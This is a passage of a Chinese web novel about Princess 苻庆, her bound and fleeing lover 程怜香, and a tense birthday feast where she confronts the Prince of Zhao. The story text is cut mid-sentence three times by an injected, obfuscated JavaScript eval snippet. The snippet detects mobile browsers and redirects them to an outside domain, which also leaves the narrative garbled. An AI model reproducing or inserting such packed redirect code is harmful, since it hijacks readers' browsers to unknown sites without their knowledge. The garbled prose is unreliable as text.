帷幔内的光影昏暗,程怜香甚至都看不清苻庆的表情,因此其余的感官也格外敏感。就在他被苻庆亲得脑子都有些迷糊的时候,程怜香忽然感觉一只手伸进了自己的衣领中。 “苻庆!” 程怜香的手现在还被绑着,因此根本没法阻止苻庆的动作,所以才会格外着急。 “苻庆,你别这样!别这样!” 二人都喘着粗气,额头抵着额头停在原地。苻庆的手还没有抽出来,此刻的声音听起来带着些娇媚。 “程怜香,还要守着你的小童子身呢?” 若只是为着这个,程怜香是断不会叫停苻庆的。刚才那一霎他连自己姓甚名谁都忘记了,怎么可能还想得起来和春班的什么规矩。但今晚发生的事情实在是太超出他的预料了,他甚至到现在还想不通苻庆为什么会忽然这样对待他。 苻庆又想要吻上来,却被程怜香偏过头躲过了。苻庆不在意,干脆一低头吻上了程怜香的下巴。 “公主,你是不是喝醉了?” 亲吻的动作忽然停止了,苻庆抬起头,一脸不可置信地看着程怜香。 但是在程怜香眼中,他却以为这是苻庆被自己说中了心事,赶紧再接再厉说道:“公主,你醒一醒看清楚我究竟是谁,我是程怜香啊。” 苻庆真没想到两个人都走到这一步了,而程怜香居然以为自己是认错了人才会想要扑倒他。 程怜香见苻庆还是不说话,更加确定了自己的猜测,刚才被那个吻点燃的热情也逐渐冷却下来。 “我就知道,公主是不可能这么对待我的。” 说完,程怜香露出了一个仓皇的笑容,不知道是不是在安慰自己。 “你以为我是喝醉了酒乱性,所以才会想要轻薄你?”苻庆的声音冷冷的。 程怜香当然不希望得到苻庆这样的回答,却也不敢说什么,因此只是愣在原地不敢说话。 “你想错了,我现在很清醒。”苻庆忽然欺身过来,两根手指狠狠捏住程怜香的下巴说道:“你忘了我们第一次见面的那天晚上发生的事情了吗?程怜香,我想要乱性用不着醉酒来做借口。” 程怜香的眼睛慢慢睁大。 “我只要想欺负你,就欺负你。” 说着,苻庆又想要吻上来,却没想到程怜香忽然剧烈地反抗起来。事实证明程怜香到底还是个男性,在奋力挣扎之后虽然还是没能将那条腰带挣脱开,但终于拉开了和苻庆的距离。 只不过是咕噜一下从床上摔到了地上。 程怜香突然掉下去吓了苻庆一跳,失声叫道:“程怜香!” 所幸这点高度并没有伤害到身姿矫健的程怜香,他坐在地上仰头看着苻庆,表情满是羞愤。 “苻庆,我真没想到,你居然是这样的小人!” 这下真让苻庆懵了,“你是在骂我吗?” “我骂的就是你!”程怜香怎么也没想到苻庆居然只是在玩弄自己,本以为至少掺杂着一点真心的吻,竟然也不过是苻庆荒唐的心血来潮。 “苻庆,你这个铁石心肠的恶人!我恨我自己瞎了眼,为什么,为什么偏偏要喜欢你?即便是你成婚了,仍然心里想的念的还是你。我更恨我自己,明知道最后的结局是这样,却还是不信邪非要撞了南墙才死心!” 这一上一下的情绪波折太大,惹得程怜香只觉得自己心口窝现在一阵阵的疼。 “你今天白日里说得对,从一开始我就不应该认识你,不应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446152|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该爱上你,也就不至于最后作践自己到这个地步!” 说完,程怜香挣扎着站起身,也不等苻庆帮他解开手腕上的腰带,踉踉跄跄地撞开门跑了出去。 只留下还跪坐在床上一脸懵的苻庆。 没一会,松醪端着水盆走了进来。 “公主,回回神。” 苻庆还是有些不能接受事情发展的走向,“他人呢?” 松醪将床边的帷幔重新用钩子挂好,“早就跑了。” “跑了?” “嗯。”松醪绞了一块毛巾递给苻庆,“而且不仅是跑了,还跑的可快了。奴婢本来想叫住他帮他把腰带解开,结果都没叫住。” 苻庆很少有如此无奈到说不出话的时候,但此刻她实在是一个字都说不出来。 松醪见苻庆没反应,笑着拉过苻庆的手帮她细细擦拭起来,温热的手帕划过皮肤,苻庆终于感觉自己又回过神来了。 “松醪,你说程怜香是不是根本不行啊?” 松醪怎么也没想到苻庆会直接说这种话,但反应过来后确实忍不住轻笑出声,轻声提醒道:“公主!” 苻庆从锦西城长大,那里与辽国接壤,许多风土人情也与民风彪悍的辽国更加相似,因此苻庆从来不觉得这种话有什么不能说的。更何况对于现在的苻庆来说,她实在是有些郁闷。 “程怜香不是说他喜欢我吗?我们亲都亲了,他居然就这样抛下我走了?”苻庆一脸不可思议,“我真是想破脑袋都想不明白,只能认为是程怜香不行。” 松醪却觉得自家公主确实有些操之过急,居然敢在英国公府便试图开荤。 “公主,也许程伶人这样做也好,毕竟驸马爷今晚总还是要回来的。” “他回来得到什么时候了?我们俩早就完事了。” 听着苻庆的小声嘀咕,松醪只能笑着摇头。虽说对于松醪来说床笫之事并不陌生,原先在宫中的时候她也曾经伺候过薛贵妃侍寝,但她到底觉得苻庆还是个没长大的孩子,却没想到对方说起这些话更加自然。 “真是个没用的男人,胆子这么小。”苻庆气鼓鼓地坐在床上,“也就是他那副皮囊着实好看,否则我早不想理他了。” “奴婢倒觉得公主喜欢程伶人并不仅仅只是因为他的脸,而程伶人喜欢公主也并非只是想要与公主做这种事。” 苻庆噘着嘴看了松醪一眼,接着便仰面倒在了床榻上。 “真是没想到,我还以为今晚肯定能得手的。” “说实话,奴婢也以为公主肯定会得手的。”松醪蹲下身,凑到苻庆耳边说道:“公主,奴婢洗澡水都准备好了,刚才甚至还去找英国公府的下人又要了一套新的床褥。” 这下苻庆更觉得气愤,咬着下嘴唇用鼻子呼出一口气,恨恨地翻了个身。 松醪只觉得苻庆这样着实有趣,笑着站起身将床边的帷幔重新放下,“公主,休息一会吧。” “等等。”苻庆忽然捞住了松醪的手腕。 “松醪,你去把我带过来的锦盒找出来,明日我要带着锦盒去参加大伯的生辰宴。” “是。” 帷幔重新落下,床榻之上的小小空间又重新变得幽暗。苻庆眼睛瞧着帐顶一眨不眨,实则脑中全都是刚才程怜香扬起脖颈的样子。 想到这,苻庆捏起衣领低头闻了闻,果然已经沾上了一丝香气。苻庆是从来不熏香的,这香味只可能是从程怜香身上染来的。 也不知道程怜香今日用的是什么香,那股味道淡淡的并不刺鼻,却反而勾得人心里痒痒的。 “程,怜,香。” 昏暗的床幔内,苻庆忽然开始一字一顿念起程怜香的名字,舌头轻轻刮过上颚,一口气缓缓吐出。 “我迟早要吃了你。” 63. 木马 第二日一早苻庆被松醪叫醒了,虽说是参加午宴,但这到底是在英国公府,苻庆也不好意思一觉直接睡到日上三竿。 好不容易让自己清醒一点,苻庆坐起身的时候甚至还有些头晕。迷迷糊糊地睁开眼睛,却发觉屏风那头的床榻上还是空的。 “杜至善昨晚没回来吗?” “回来了,只不过驸马爷没睡多久,这会又出去散步了。” 苻庆这辈子最佩服的便是不爱睡觉的人,要是她只会恨不得一天睡八个时辰。“真是精力旺盛。” 简单洗漱过后,英国公府的人已经将早饭送了过来,直到这个时候苻庆才终于又见到了杜至善。 “公主。” 苻庆点点头当做对杜至善的回礼,“听说你昨晚回来得挺晚啊。” “公主见谅,我与几个同僚实在是因为许久未见,便多聊了一会。” “没事,我不是怪你。”苻庆一眼便看到了桌上的粘豆包,差点想用手直接抓过来。“只不过你回来这么晚今日还起得这么早,我怕你身体吃不消。” “感谢公主关心,不过这已经比从前我准备科举的时候睡的时辰长多了,不会有事的。” 苻庆当然也并非真的关心杜至善,见杜至善本人都不在意,苻庆更觉得自己没有担忧的必要,点点头应过后便迫不及待地咬了一口盘中的粘豆包。 味道分毫不差,还是记忆中的香甜软糯。苻庆闭上眼睛露出一个满足的笑容,自从到京城后,苻庆已经六年没有吃到过这道来自锦西城的点心了。虽说在京城中苻庆也算是吃到了各式各样的点心,但到底还是惦记着来自家乡的口味。 吃过早饭,苻庆和杜至善各自收拾好自己,准备一同去参加中午的宴席。 午宴同样设在昨日举行晚宴的柳塘舫,苻庆与杜至善一走进院子,便看见英国公与国公夫人在檐下迎接客人。国公夫人仍然是化着与本身年龄有些不符的妆容,与昨日瞧着并没有什么不同。反倒是英国公今日罕见地换上了官服,而且也并没有坐轮椅,只是撑着一根拐杖站在那里。 恍惚间,苻庆倒觉得自己又看到了曾经在锦西城那个神采奕奕的祝大将军。 “见过大伯,大伯母。” 英国公与国公夫人微笑着承下苻庆与杜至善的礼。 “阿庆昨晚睡得如何?” “多谢大伯挂念,我睡得很好。” “那今日早饭吃的怎么样?” 苻庆已经明白了英国公问这话的原因,笑着说道:“也吃得很好。我就说大伯这些年在京中养病怎么胖了,原来是家中有这么好的厨子。” 英国公哈哈大笑,“这厨子也是我夫人无意间发现的,我也没想到竟还能在京城再吃到边塞的味道。” 国公夫人用袖子掩着脸微微一笑,“这个厨子原先是在街上走街串巷叫卖的,有一次妾身与他闲聊,碰巧知道他家原先也住在边关,后来便邀请他进府做了厨子。总算能让国公爷喜欢吃,这就已经很好了。” “阿庆,这几日你便多吃一些,他的手艺确实不错。” “我还以为大伯会愿意割爱,将这厨子让给我呢。” “那可不行!阿庆,你怎么好意思横刀夺爱呢!” “这有什么不好意思的?我还没说日后我便直接住到大伯的国公府里呢!” 英国公被苻庆逗得大笑,以至于抓拐杖的胳膊都在微微颤抖。 “好啊,你若喜欢日后便住在我这吧。正好我那些狗崽子都不在家,日后便由你和驸马来孝敬我。” 苻庆差点忘了身边还站着杜至善,扭过头瞥他一眼。 杜至善从刚才开始便站在一旁认真听着,这会立刻笑盈盈地拱手说道:“在下都听公主的。” 看来这人又回到了装模作样的状态,苻庆在心中暗暗想道。 “平日里国公爷总向妾身说起公主,若公主真的愿意在府中多住几日,那妾身自然是欢迎的。” “我可不敢在此叨扰大伯养病,就算大伯母愿意,我姨母知道了也要骂我的。”苻庆吐吐舌头,“大伯从前在锦西城待我很好,我也盼望着大伯能够早日康复。” 说完,苻庆从松醪手中接过一个锦盒,轻轻打开后,里面赫然躺着那只木质的小马。 “大伯,这个小木马还是在锦西城的时候您送给我的,今日我将它再送给您,希望您能够看着这只木马早日好起来。” 英国公伸手接过锦盒,低下头细细端详着手中的木马,半晌点头说道:“好,阿庆有心了。” 国公夫人也看着锦盒内的小马,笑着说道:“国公爷竟还有这样的手艺?这匹马的寄生都雕刻出来了,真是手巧。” 苻庆笑着回答道:“是啊,这小东西装在马尾巴上,可是不容易刻的。” 送出礼物后,苻庆与杜至善便暂时告辞走进了柳塘舫。由于今日仍然是男女分席,苻庆便与杜至善各跟着一个婢女走向了不同的方向。 被婢女带到桌边苻庆才发现今日安排的座位与昨晚有些区别,宁国公夫人坐了首位,而自己左手边便坐着宁慈心。 此刻宁国公夫人与宁慈心都已经入座,而苻庆也注意到,昨日跟着宁慈心的那个丫鬟同样也在,正垂着手立在宁慈心身后。 基本的面子还是要顾及的,苻庆福身给宁国公夫人行礼,又对着宁慈心点头说道:“长公主。” 宁慈心的声音冷冷地响起:“如今你我已经同为长公主,这些虚礼就免了吧。” 苻庆坐在凳子上,笑着对一旁的宁慈心说:“到底姐姐还是虚长我几岁,长幼尊卑还是要顾的。” 往日宁慈心是最恨苻庆给她说这些客套话的,本以为今日宁慈心也要生气,谁知她听了这些话却是一点反应都没有,只是喝了口茶。 真是怪,这疯子怎么忽然转性了?苻庆在心中纳闷。 没一会宴席便开始了,今日英国公与夫人早早地便过来敬过了酒。英国公虽说又坐在了轮椅上,但气色看起来很好。苻庆想起昨晚国公夫人因为英国公身体不适突然离席的事情,由于这件事情是苻庆不小心偷听到的,因此刚才也并未提及。不过现在看来,应该也不是什么大事,苻庆的心也能够平稳地落回了肚子里。 吃过饭,桌上已经换成了各式糕点,苻庆发现其中还有从前在锦西城吃过的小吃,心情很是愉悦。虽然碍于众人只能小口小口地品尝,但这也足够抚慰苻庆的内心了。 正在这时,锣鼓点忽然响起。 苻庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446153|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本以为英国公还是会点那些热闹戏,却没想到还真让程怜香上台了,大约还是想看点武戏,所以最终点了《白蛇传》。 时隔多日再次看到程怜香扮上相,苻庆不得不承认对方还真是天生就属于戏台的料子。不论过了多久再看到程怜香上台,苻庆的眼神还是会被对方不自觉地吸引过去。而且她并未看程怜香登台唱过《白蛇传》,今日便听得很是认真。 “不是你把人家赶走的吗,怎么这会又巴巴地瞧上了?” 苻庆这才注意到宁国公夫人此时已经离席,不知去了哪里。 宁慈心凑到苻庆耳边,“还是说,你现在后悔了?” 苻庆瞥了宁慈心一眼,随手拿过一枚瓜子剥开。 “宁慈心你可别怪我没提醒你,虽说这会宁国公夫人我不知去了哪里,但是你那个婢女可还在身后呢。” 宁慈心脸上红一阵白一阵,她没想到苻庆这么快就发现了端倪。 见宁慈心不说话了,苻庆更加确信自己的猜测并没有错。她借着将剥好的瓜子仁放到宁慈心跟前的机会,悄悄在宁慈心耳边说道:“这到底是你家从哪找来的神人啊?我还是头一回见你这么怕一个人。” 宁慈心回身看了一眼那个婢女,对方果然还是在面无表情地看着自己。宁慈心咬着牙回过头来,将桌上的瓜子仁扫落在地,接着站起身离开了座位。 苻庆回头看去,那个婢女也立刻跟着宁慈心离开了。 “还真是得寸步不离地跟着。”苻庆与松醪表情与动作一致,都在认真地盯着那二人离开的方向。“松醪,你在京城中待的时间比我长,你说说这种情况你见过吗?” 松醪摇头,“若是别人奴婢还敢猜测一下,可那是瑕英长公主啊,即便在陛下面前奴婢都没见过公主如此听话。” “大约这就叫一物降一物吧?”苻庆收回视线,重新看到台上。此时程怜香已经唱到端阳节误食雄黄将许仙吓死的段落,见程怜香在台上声音颤抖、泫然欲泣的样子,苻庆忽然想到若是下次她再把程怜香直接绑在床上,程怜香会不会也只能像这样无助地掉眼泪。想到这,苻庆没忍住笑了一声。 “公主。” 苻庆明白松醪这是听懂了自己这一声笑的弦外之音,端着茶杯掩住嘴唇,回身与松醪交换了一个眼神。松醪有些无奈,对苻庆轻轻摇了摇头。 一曲终了,眼看着程怜香退了场,苻庆终于舍得把眼珠子从台上收回来。伸出手抓住松醪,二人一同往后院厕所走去。 从前院到后院有两种选择,苻庆与松醪本是走大道过去的,没想到远远地便看见杜至善与两个人缓缓走了回来。本着多一事不如少一事的原则,苻庆扯了扯松醪的袖子,二人直接拐到了小路上。 小道没有大道宽敞,通过的地方也有些崎岖难行,甚至路上还有一些碎石头。想来英国公行动不便,负责打扫院子的下人便笃定自家主子不可能到这条路上来,因此偷了些懒。 为着绕过路上的泥巴,苻庆牵着松醪的手沿着道路边缘小心翼翼地走着。就在要拐弯的时候,苻庆忽然停住了脚步。 松醪皱眉看向苻庆,苻庆用食指在嘴唇上比了比,接着指了指道路的前边。松醪侧耳一听,果然听见有人说话的声音。 64. 客人 “你到底想做什么啊?我只不过是要自己去一趟茅房,难道连这种事你都不放心吗?” “公主,小公爷有令,不允许您有半刻离开奴婢的视线,还请公主不要为难奴婢。” “即便是他有令,那你也不能这么对待我!我是公主,不是你们的犯人!” “您确实是公主,不过您也别忘了,小公爷手上还握着一样东西呢。” “你!你们欺人太甚!” “还望公主见谅。” “好,既然你愿意跟那你就一直跟着我吧!” 接着便是一阵渐行渐远的脚步声。 当事人已经走远了,但躲着听墙角的两个人还站在原地。半晌,苻庆终于反应过来看向松醪,轻声问道:“是不是宁慈心啊?” 松醪点头。 “那也就是说,这个婢女是宁慈心的大哥给她找的?” 松醪继续点头。 “而且宁慈心之所以这么听话,是因为她大哥手里握住了她的把柄?” 松醪再次点头。 “怪不得。”苻庆与松醪继续向前走,“我就说宁慈心怎么转了性子这么听话了,原来是尾巴被人捏住了。” “说起来自宁国公府分家之后,奴婢便没有听说过宁大公子再插手过宁国公府的家事。” 苻庆点头,“此事姨母还向我提起过,姨母说小公爷不满意宁国公夫妇偏心小女儿,早早地便要求分了家,之后更是对国公府都不管不顾了。只是他嘴上说着自家妹妹蛮横无理,自己实则也不是什么好东西。” 这个宁大公子靠着宁国公才在京城得了个无关紧要的闲差,之后却还是三天两头地不去当值,到了官署中也只是仗着自己的身份作威作福欺压同僚。而且据说宁大公子还在府中豢养了一批武艺高强的侍卫,成日在府中看他们自相残杀,实在不是什么好人。 “罢了,这便是恶人自有恶人磨,宁国公夫妇大约也是实在管不了才会出此下策的。” 虽说苻庆也觉得宁慈心有点可怜,但说到底还是对方自作自受,因此这件事只是在苻庆脑子里晃过一下便消失了。 等二人再回到前院,却意外发现席面上有许多位置已经空了,而戏台旁边不知何时聚集起一群人。 苻庆想到刚才还在台上唱戏的程怜香,心中一紧,三步并作两步赶紧冲了过去。 拨开人群一看才发现不是程怜香,苻庆刚松下一口气,便发觉来的人是赵王。 一口气又提了上来。 苻庆刚刚回来还不知道发生了什么,不过英国公都到了,看来并不是一件小事。 “祝大哥,我好歹也是大老远的来给你祝寿,你们英国公府的待客之道便是这样的吗?” “赵王,不是本王不懂规矩,实在是我们没想到赵王竟然能亲自前来。” “祝大哥哪里话?想当年咱们也是一同征战过沙场的,你过大寿我怎么可能不来呢?” 眼见着英国公和赵王额二人唇枪舌剑,苻庆却还是没有搞清楚到底发生了什么事。由于这边是女眷席位,因此此时大部分女眷都已经躲进了屋里避嫌,导致苻庆这会连个能问的人都没有。 “见过赵王。” 既然猜不出来又无人可问,苻庆只能自己上去探听虚实了。 “没想到竟然能在遇见赵王殿下。” “公主?”赵王好像也没有想到苻庆会直接走上前搭话,“本王也没想到竟会在这里遇见你。” “赵王这话说得好笑,既然您刚才说到与我大伯熟悉,那自然就应该知道我父亲与大伯是忘年之交。祝大伯是看着我长大的,便如同我的亲大伯一样,我怎么有不来的道理?” 苻庆今日说话属实是有一点有恃无恐,毕竟上次在生辰宴上有皇帝做赵王的倚仗,害得苻庆说话也要有所顾忌。但现在在英国公府便不同了,苻庆百分百确定英国公是绝对不可能向着赵王的。 “本以为公主成婚之后便能学乖一点,谁知道还是这般伶牙俐齿?杜至善呢,他到底是怎么管教自己妻子的?” “我看赵王是喝醉了,杜至善即便与我成婚也不过是个驸马。按照宫中规矩,驸马也不过是公主的臣子,哪有什么资格管我?” 听过苻庆讲话,赵王的眼睛慢慢眯了起来,认真地审视起眼前的小姑娘来。上次这么认真地看着苻庆还是六年前苻坚将军回京城下葬的时候,谁知这一眨眼昔日那个看着父母棺椁晕过去的小女孩,竟已经长这么大了。 下一瞬,英国公已经自己滚动着轮椅轮子挡在了苻庆身前。 “好了赵王,既然你已经来了那本王便会好好招待你。只不过本场宴席国公府采用的是男女分席,请您跟着管家到男宾席位上就座吧。” 赵王手中捧上一个锦盒,腿却一动不动。 “大哥,本王可是带了厚礼诚心诚意而来的,您就算再摆架子也应当敬本王一个酒吧。” 英国公由于坐在轮椅上,身形比赵王矮了一大截。看着赵王几乎要将那个锦盒架在英国公面上的样子,苻庆只觉得一口气堵在胸口处发泄不出来。 “赵王且去位置上稍作片刻,本王马上就来。” “大哥不会连嫂子都不愿意让小弟见一面吧?怎么说咱们也是一同出生入死过的情分,大哥敢说小弟就没有为您挡过一把刀、一支箭吗?难道嫂子就不应当出来敬我一杯酒吗?” “赵王,内子有些累了,刚刚回去休息了,你总不能让我再回去将她叫起来吧?” “看来祝大哥这个做哥哥的,是真的不把本王放在眼里了。待明日本王回京后,定会将这件事情一五一十地禀明圣上。” 苻庆现在终于明白了事情的原委,原来是赵王擅自到来,还直奔到了女眷的席位上。英国公本想过来劝赵王赶紧去往男宾席位,谁知赵王就一直在此处拖沓。 “赵王真是奇怪,这做弟弟的不敬兄长,非要见嫂子的面,传出去只会让人笑掉大牙。赵王若是不嫌丢人,只管回京告知圣上便是。即便在边塞,本公主也没听过这样的规矩。” 赵王终于有些受不住苻庆的阴阳怪气,眉毛一竖说道:“我们大人在这说话,哪有你插嘴的份?” 英国公刚想帮苻庆说话,却见苻庆不仅不怕,甚至还往前迈了一步。 “赵王还好意思说自己是大人?今日是我大伯的生辰宴,你擅自闯入女席搅得宴席沸反盈天,我大伯还没有与你说理,你倒反过来责备我大伯了?那我问你,这又是什么道理?” 苻庆早就等着赵王说这一句话了,要不是上次生辰宴赵王一直出言不逊,说不定苻庆还做不出直接抢程怜香回府的事情。今日终于没了拘束,苻庆只想把上次在生辰宴上没有说完的话也痛痛快快地都捅出来。 “还有,你若是真心想与我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446154|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大伯拜寿,便客客气气地说话,别把着个锦盒好像多大宝贝似的?”苻庆的眼中毫无畏惧,狠狠地瞪着赵王。 “怎么,难道赵王也与我大伯送了一对子午鸳鸯钺来吗?” 赵王此时才意识到苻庆仍然在为自己当日在生辰宴上出言不逊的事情耿耿于怀,一方面他并没想到苻庆能说出这么多话来谴责自己,另一方面他也没想到苻庆竟然会将这件事记这么长时间。 “苻庆,你别以为本王在这就不能……” “赵王!” 眼见着赵王想要走上前来,英国公适时地出声喝止住了对方的行动。 虽说英国公看上去比赵王矮了一截,但他的眼神不怒自威,令赵王不自觉地止住了动作。 “阿庆说得对,这是本王的席面。赵王若再多说一句,那便是打本王的脸了。到时候不用赵王进京,本王即便是拖着这副残躯也要去皇宫找陛下要个说法。” “大哥这是哪里话?小弟也不过是想要为大哥贺寿罢了。”赵王的表情变得飞快,现在立刻变成了一副恭敬的样子。“既然大哥还有事要忙,那小弟便先去席面等候。” 待赵王跟着小厮走远,苻庆还是怒气冲冲地盯着赵王的背影。 “阿庆,阿庆!” 英国公唤了两次才将苻庆的注意力叫回来。 “大伯。” 英国公看着苻庆面上仍带着红晕,不禁轻轻叹了口气。 “阿庆,都怪大伯没用。” 苻庆低下头,轻轻摇头。 “大伯,您别这样说。” “大伯知道,这些年你过得并不如意。这些没良心的东西一个个的,都只是想欺负你。” 想到赵王的嘴脸,苻庆鼻子中发出一声闷哼。 “没关系,他们敢欺负我不过是因为觉得我是一个孤女,没什么可忌惮的。” 但我迟早要他们知道,我到底是一个怎样的人。 英国公长长地呼出一口气,伸出手拉住苻庆的手。 “好孩子,答应大伯,好好照顾自己。很多事情不应该由你来管,只要你能好好地,大伯便是明日死了也有脸面去见你的父母。” “大伯。”苻庆的声音很是坚决,“我不想要这种脸面,对于死去的人来说这种脸面毫无意义。” 英国公微微一怔。 “我要的是沉冤昭雪,是失去的公道能够再回到我们手上。” 待英国公也离开后,女眷们三三两两回到了席面上。苻庆看到宁国公夫人拉着宁慈心也走了回来,也不知道她们二人又是什么时候见到的。 松醪走上前来轻轻扶住苻庆,刚才苻庆说话的时候,她一直站在苻庆一侧看着赵王。她知道苻庆心中憎恨赵王,只可惜不论是她还是薛贵妃,都不能在这件事上帮助苻庆。 充其量,只能作为苻庆的支持者。 “公主,您没事吧?” 苻庆对松醪摆摆手,“你放心,与赵王那种蠢货斗嘴皮子,我还是不可能输的。” 松醪却并不是担心这个,“公主,赵王毕竟手握兵权,同时还深得陛下器重,我只担心他会记恨公主,借题发挥对公主不利。” “那他就发挥呗。”苻庆笑一笑说道。 松醪并不知道对于此刻的苻庆来说,她反而更希望赵王能够对自己下手,因为只有这样她才能找到机会给予赵王反击。 65. 秘密 女眷这边到底是因为不饮酒,散席得便格外早一些。见已经有人离席,本来就觉得索然无味的苻庆赶紧站起身,打算回到听松居补一觉。 “娘,我就去园子里散散步,您就别让她跟着我了吧。” “公主,奴婢是小公爷派来的。” “难道你连国公夫人的话都敢不听吗?” 苻庆怎么也没想到她今日这么倒霉,本以为躲过了宁慈心母女,谁知又在园子门口遇见了她们。 “国公夫人,瑕英长公主。” 宁国公夫人可能也没想到她们的争执会被苻庆听到,抬眼看向苻庆的时候神色有些尴尬。苻庆自己也不想撞见这种事情,因此只是福一福身便打算赶紧离开。 “苻庆妹妹!”宁慈心忽然冲上来一把拉住苻庆的胳膊,“我许久不与妹妹见面了,妹妹便陪着我去园子里转一转吧?” 苻庆拒绝的话已经到了嘴边,但那个婢女已经上前一步开始拉宁慈心的胳膊。 “公主,求您不要让奴婢难做,赶快回屋去吧。” 苻庆不想陪着宁慈心去院子里闲逛,但却也见不得那个婢女这样蛮不讲理的样子,更何况她现在撤的苻庆的胳膊也是生疼。 “住手。” 在场几人都是一愣,纷纷看向苻庆。 苻庆的目标很明确,盯着那婢女说道:“刚才我听闻你是小公爷派来的,只不过我竟不知现在小公爷派来的一个婢女便如此厉害,敢对着两位长公主推推搡搡。” 那婢女没想到苻庆忽然发难,赶紧退后一步跪在了地上。 “等我下次入宫面见陛下,定要将此事问个明白才好。” “公主莫怪,奴婢不是有意的,小公爷更不敢对长公主不敬。”奴婢垂着头说道:“奴婢只是奉小公爷之命,要保护长公主周全。” “行了,本公主也不过是姐姐到园子中转几圈说几句话,你便不必跟着了。你若不放心,大可以在院子门口等着。你家小姐又没有翅膀,逃不出这个地方的。” 待苻庆与宁慈心一同走进了后花园,苻庆才开口问道:“你说吧,到底非要到后花园做什么?” “本以为我真的能有机会逃出去,谁知道竟是这么难。”宁慈心缓缓呼出一口气,“总而言之还是谢谢你,否则我这几日连个喘息的机会都没有。” “宁慈心,我还真想问问你究竟在想什么?如果我没记错的话,你的婚期应当就在眼前了。” 相比较苻庆的疑惑不解,宁慈心却是一脸坦然。 “是啊,要不然我大哥也不会派这么个疯子盯着我。” “到底是怎么一回事?” 宁慈心看向苻庆,还未说话已经忍不住笑出了声。 “你知道前几日我父亲为什么忽然入宫要求陛下推迟婚期吗?” “难道不是因为你头发的事情?” “那是搪塞外人的。”宁慈心随意坐到一块大石头上,脚一下一下地踢着石头。“我爹生怕这件事情暴露,所以才会这么着急。” 苻庆不说话,而是盯着宁慈心等待对方自己讲出答案。 “我上次入宫的时候不就告诉过你了,我绝不可能这么轻易认输的,所以我就逃跑了。” “逃跑?你跑到哪里去了?” “那你就别管了。”宁慈心看起来很是骄傲的样子,“虽然最后还是被我大哥抓了回来,但他们所有人都吓坏了,生怕这件事被孔家知道,因此我爹娘才会允许我大哥用他自己府里的狗来看着我。” 果然是宁大公子府中豢养的侍卫,苻庆微微皱眉。 “宁慈心,你有没有想过你这样跑掉,无异于送你爹娘去死。” “说话别这么难听,我没打算这样。”宁慈心跳下来站好,“苻庆,你别以为这世上只有你一个人有脑子。” “我倒盼望着你能有点脑子,不至于让你总做蠢事。” 宁慈心伸长胳膊舒展了腰身,英国公府的后花园比不得宁国公府的后花园美丽,但在宁慈心眼中却并无什么差别一般。 “那接下来你打算怎么办?” “我在家的院子已经被围得如同铁桶一般,你说我能怎么办?”宁慈心看上去比刚才轻松了一些,“反正成婚的日子也不远了,就等着嫁人呗。” 虽然苻庆总觉得宁慈心不会如同她现在说的这般听话,但事到如今宁慈心好像也确实没了什么选择。 “长公主,我知道你不相信命运,但有些时候蛰伏并不等于忍耐。” 苻庆说完,发觉宁慈心有些难以置信地看着自己。 “苻庆,我真没想到你还能说出这种话来。” 苻庆不再说话,她的好心已经被宁慈心消磨殆尽了,干脆转过身往园外走去。 松醪也被留在园外和那婢女待在一处,苻庆走过去站到松醪跟前,扭过头对那婢女说:“进去接你家小姐吧。” 待转过后花园,松醪轻轻地开口:“公主,刚才奴婢打听了,这婢女从前应当是宁大公子府上养的武婢。” 苻庆点头,“宁慈心告诉我前段时间她并非是在家中治病,而是偷偷跑出去了。” 松醪倒吸一口凉气,“瑕英长公主竟敢这么大胆?擅自逃婚,这可是诛九族的大族。” “所以她大哥这么生气也就不足为奇了。”苻庆心中想着刚才与松醪在后院偷听到的对话,“只是不知道宁慈心究竟丢了什么把柄在她大哥手里。” 二人就这样说着话,很快便回到了听松居。 杜至善并未回来,这件事倒是也在苻庆意料之中。苻庆换过衣服,舒舒服服地倒在床上睡了一个午觉。 一觉醒来已是黄昏时分,苻庆伸出手撩开床幔没有看见松醪的身影,反而透过屏风看见杜至善倚在床头看书。 “杜至善?” “公主醒了?” 苻庆点头。 “公主稍等,我这就去唤松醪进来。” 见杜至善走出门去,苻庆又重新倒在了床上。 没一会松醪进到了房间内。 “公主,刚才婢女来传消息,说英国公身子不适,要您吃过晚饭后过去看一看。” “什么?”苻庆一个机灵坐起身,“今天中午不是还瞧着好好的吗?怎么忽然就不好了?” 松醪也不知道事情怎么会变成这样,“那婢女说国公爷的病便是这样的,反复无常,说不定什么时候便突然严重了。” “该死的赵王,大伯定然是被他气着了!”苻庆一个拳头锤在床板上,“要是大伯有个三长两短,我一定要让赵王赔命!” “公主,晚饭一会便送过来了,奴婢先伺候您换衣服吧。” 